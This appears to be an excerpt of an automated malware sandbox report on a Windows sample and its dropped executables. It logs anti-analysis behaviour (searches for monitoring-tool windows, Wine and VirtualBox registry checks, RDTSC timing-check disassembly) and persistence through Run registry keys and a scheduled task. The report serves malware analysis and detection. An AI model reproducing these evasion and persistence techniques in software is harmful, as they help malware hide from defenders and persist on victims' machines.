Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsIEGCAAKFBA.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1017b01294.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1017b01294.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 474b2c9b63.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 474b2c9b63.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2018142c2f.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2018142c2f.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEF55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CEF55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E9659 second address: 12E965D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDB90 second address: 12EDB9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jng 00007FBAA4B8B5E6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDB9D second address: 12EDBAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDE51 second address: 12EDE55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDE55 second address: 12EDE59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDE59 second address: 12EDE69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBAA4B8B5E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDE69 second address: 12EDE6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDFCB second address: 12EDFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDFD1 second address: 12EDFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FBAA4BFA501h 0x0000000b jne 00007FBAA4BFA4F6h 0x00000011 jmp 00007FBAA4BFA4FAh 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDFFD second address: 12EE001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE16E second address: 12EE184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4BFA502h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE184 second address: 12EE1B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnc 00007FBAA4B8B5EEh 0x00000011 jmp 00007FBAA4B8B5F5h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0A14 second address: 12F0AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 add dword ptr [esp], 005A08F8h 0x0000000c mov ecx, dword ptr [ebp+122D2AACh] 0x00000012 add si, 1061h 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007FBAA4BFA4F8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D1B26h], eax 0x00000039 or edi, 71E5A16Ah 0x0000003f push 00000000h 0x00000041 xor ecx, 2DE706EAh 0x00000047 push 00000003h 0x00000049 mov edx, dword ptr [ebp+122D2998h] 0x0000004f call 00007FBAA4BFA4F9h 0x00000054 jmp 00007FBAA4BFA4FDh 0x00000059 push eax 0x0000005a jmp 00007FBAA4BFA500h 0x0000005f mov eax, dword ptr [esp+04h] 0x00000063 pushad 0x00000064 push edi 0x00000065 jg 00007FBAA4BFA4F6h 0x0000006b pop edi 0x0000006c jng 00007FBAA4BFA4FCh 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0AA1 second address: 12F0ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 jmp 00007FBAA4B8B5F6h 0x0000000d push esi 0x0000000e jmp 00007FBAA4B8B5EEh 0x00000013 pop esi 0x00000014 popad 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pushad 0x0000001d popad 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0C7F second address: 12F0C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBAA4BFA4F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0C8A second address: 12F0CC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FBAA4B8B5E6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FBAA4B8B5F6h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FBAA4B8B5EBh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0CC1 second address: 12F0CD3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBAA4BFA4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0CD3 second address: 12F0CDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0D7D second address: 12F0DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 nop 0x00000007 movzx edi, dx 0x0000000a push 00000000h 0x0000000c mov edi, esi 0x0000000e push 97449846h 0x00000013 jp 00007FBAA4BFA4FEh 0x00000019 add dword ptr [esp], 68BB683Ah 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FBAA4BFA4F8h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a mov dword ptr [ebp+122D1AE7h], esi 0x00000040 push 00000003h 0x00000042 js 00007FBAA4BFA4F6h 0x00000048 push 00000000h 0x0000004a mov ecx, ebx 0x0000004c push 00000003h 0x0000004e mov ecx, dword ptr [ebp+122D28ACh] 0x00000054 call 00007FBAA4BFA4F9h 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c js 00007FBAA4BFA4F6h 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0DF1 second address: 12F0DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0DF6 second address: 12F0DFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0DFD second address: 12F0E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 je 00007FBAA4B8B5ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0E0E second address: 12F0E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0E1D second address: 12F0E4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBAA4B8B5EFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0E4A second address: 12F0E65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBAA4BFA506h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0E65 second address: 12F0E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007FBAA4B8B5ECh 0x00000010 pop eax 0x00000011 xor dword ptr [ebp+122D30FDh], eax 0x00000017 lea ebx, dword ptr [ebp+1244487Fh] 0x0000001d sub edi, dword ptr [ebp+122D2A20h] 0x00000023 push eax 0x00000024 push edi 0x00000025 push eax 0x00000026 push edx 0x00000027 jnc 00007FBAA4B8B5E6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312A23 second address: 1312A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD813 second address: 12DD82F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBAA4B8B5EAh 0x0000000d popad 0x0000000e js 00007FBAA4B8B5FEh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD82F second address: 12DD835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E1E second address: 1310E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E22 second address: 1310E3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBAA4BFA500h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E3A second address: 1310E5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FBAA4B8B5E6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b jc 00007FBAA4B8B5E6h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 jc 00007FBAA4B8B5E6h 0x0000001d push esi 0x0000001e pop esi 0x0000001f pop edi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E5E second address: 1310E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E62 second address: 1310E68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E68 second address: 1310E72 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBAA4BFA4FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310E72 second address: 1310E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FBAA4B8B5ECh 0x0000000b jp 00007FBAA4B8B5E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310FCC second address: 1310FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310FD1 second address: 1310FDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FBAA4B8B5E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310FDD second address: 1310FEF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FBAA4BFA4F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310FEF second address: 1310FF5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310FF5 second address: 1311009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FBAA4BFA4FEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311009 second address: 1311015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FBAA4B8B5E6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311524 second address: 1311537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311537 second address: 131153B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311B59 second address: 1311B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312163 second address: 13121A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4B8B5F5h 0x00000009 jmp 00007FBAA4B8B5F7h 0x0000000e popad 0x0000000f jno 00007FBAA4B8B5EEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13121A2 second address: 13121D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FFh 0x00000007 jmp 00007FBAA4BFA4FAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 jl 00007FBAA4BFA4F6h 0x00000016 pop ebx 0x00000017 jmp 00007FBAA4BFA4FBh 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131232D second address: 1312334 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312334 second address: 131233A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13128CE second address: 13128D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6008 second address: 12E600E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13193C7 second address: 13193D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
